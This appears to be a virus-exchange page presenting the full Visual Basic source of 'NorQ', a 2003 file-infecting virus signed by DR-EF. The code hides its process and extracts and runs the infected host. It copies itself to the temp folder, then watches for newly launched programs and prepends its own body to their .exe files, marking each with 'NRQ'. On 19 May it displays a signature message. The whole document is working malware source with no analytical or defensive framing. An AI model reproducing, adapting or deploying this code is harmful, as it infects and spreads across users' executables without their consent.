Contribution - NorQ    [by DR-EF]

  

'NorQ Virus (c) 2003 DR-EF ALL RIGHT RESERVED!
'---------------------------------------------
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hsnapshot As Long, uproc As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hsnapshot As Long, uproc As PROCESSENTRY32) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Const VirusSize As Integer = 11264
Const TH32CS_SNAPPROCESS As Long = 2&
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Dim Prc_Founded(1 To 150) As String, Counter As Integer
Private Sub Form_Load()
On Error Resume Next
Dim Current_ProcessID As Long, VirusPath, HostCode As String, NRQ
Dim HostFileName, HostProcess As Long, Host_TSK_ID As Long, IsExit As Long
Dim snp As Long, Hprc, prc As PROCESSENTRY32, VirusCode As String
Dim Target, Gone As Boolean, TempFile, TFsize, Buffer As String * 260
App.TaskVisible = False
Me.Hide
Current_ProcessID = GetCurrentProcessId
RegisterServiceProcess Current_ProcessID, 1
If Day(Now()) = 19 And Month(Now()) = 5 Then
MsgBox "NorQ Virus Written By DR-EF", vbInformation, ".:NorQ:. Virus  DR-EF"
End If
VirusPath = App.Path
If Right(VirusPath, 1) = "\" Then
VirusPath = VirusPath & App.EXEName & ".exe"
Else
VirusPath = VirusPath & "\" & App.EXEName & ".exe"
End If
HostFileName = Mid(VirusPath, 1, Len(VirusPath) - 3) & "NRQ"
NRQ = FreeFile
Open VirusPath For Binary Access Read As #NRQ
HostCode = Space$(FileLen(VirusPath) - VirusSize)
Get #NRQ, VirusSize, HostCode
Close #NRQ
Open HostFileName For Binary Access Write As #NRQ
Put #NRQ, , HostCode
Close #NRQ
SetAttr HostFileName, vbHidden
Host_TSK_ID = Shell(HostFileName & " " & Command, vbNormalFocus)
HostProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Host_TSK_ID)
Do
    DoEvents
    GetExitCodeProcess HostProcess, IsExit
Loop Until IsExit <> STILL_ACTIVE
SetAttr HostFileName, vbNormal
Kill HostFileName
If App.PrevInstance = True Then End
TFsize = GetTempPath(260, Buffer)
Buffer = Mid(Buffer, 1, TFsize)
TempFile = Trim(Buffer) & "NorQ.exe"
Kill TempFile
VirusCode = Space$(VirusSize)
Open VirusPath For Binary Access Read As #NRQ
Get #NRQ, , VirusCode
Close #NRQ
Open TempFile For Binary Access Write As #NRQ
Put #NRQ, , VirusCode
Close #NRQ
Shell TempFile, vbNormalFocus
If LCase(VirusPath) <> LCase(TempFile) Then End
snp = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)
prc.dwSize = Len(prc)
Hprc = ProcessFirst(snp, prc)
Do
         Prc_Founded(Counter + 1) = LCase(prc.szexeFile)
         Counter = Counter + 1
Loop While (ProcessNext(snp, prc))
CloseHandle snp
For I = 1 To 20
prc.dwSize = Len(prc)
Scan_Again:
        snp = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)
        ProcessFirst snp, prc
        Do
            DoEvents
            If Is_Found(LCase(prc.szexeFile)) = False Then
                Target = LCase(prc.szexeFile)
                Exit Do
            End If
        Loop While (ProcessNext(snp, prc))
        CloseHandle snp
        If Target = "" Then GoTo Scan_Again
Scan_Again2:
        Gone = False
        snp = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)
        ProcessFirst snp, prc
        Do
            DoEvents
            If LCase(prc.szexeFile) = Target Then
                Gone = True
            Else
                Gone = False
            End If
        Loop While (ProcessNext(snp, prc))
        CloseHandle snp
        If Gone = True Then GoTo Scan_Again2
        If Right(LCase(VBA.Left(Target, InStr(1, Target, Chr(0), vbTextCompare) - 1)), 3) = "exe" Then
       '    MsgBox Target
            Open VirusPath For Binary Access Read As #NRQ
            VirusCode = Space$(VirusSize)
            Get #NRQ, , VirusCode
            Close #NRQ
            HostCode = ""
            Open Target For Binary Access Read As #NRQ
            HostCode = Space$(FileLen(Target))
            Get #NRQ, , HostCode
            Close #NRQ
            If Right(HostCode, 3) <> "NRQ" Then
                Open Target For Binary Access Write As #NRQ
                Put #NRQ, , VirusCode
                Put #NRQ, VirusSize, HostCode
                Put #NRQ, LOF(NRQ) + 3, "NRQ"
                Close #NRQ
            End If
         End If
         Prc_Founded(Counter + 1) = LCase(Target)
         Counter = Counter + 1
         Target = ""
Next
End
End Sub
Function Is_Found(ProcessName) As Boolean
For I = 1 To 150
    If Prc_Founded(I) = ProcessName Then
        Is_Found = True
        Exit For
    End If
Next
End Function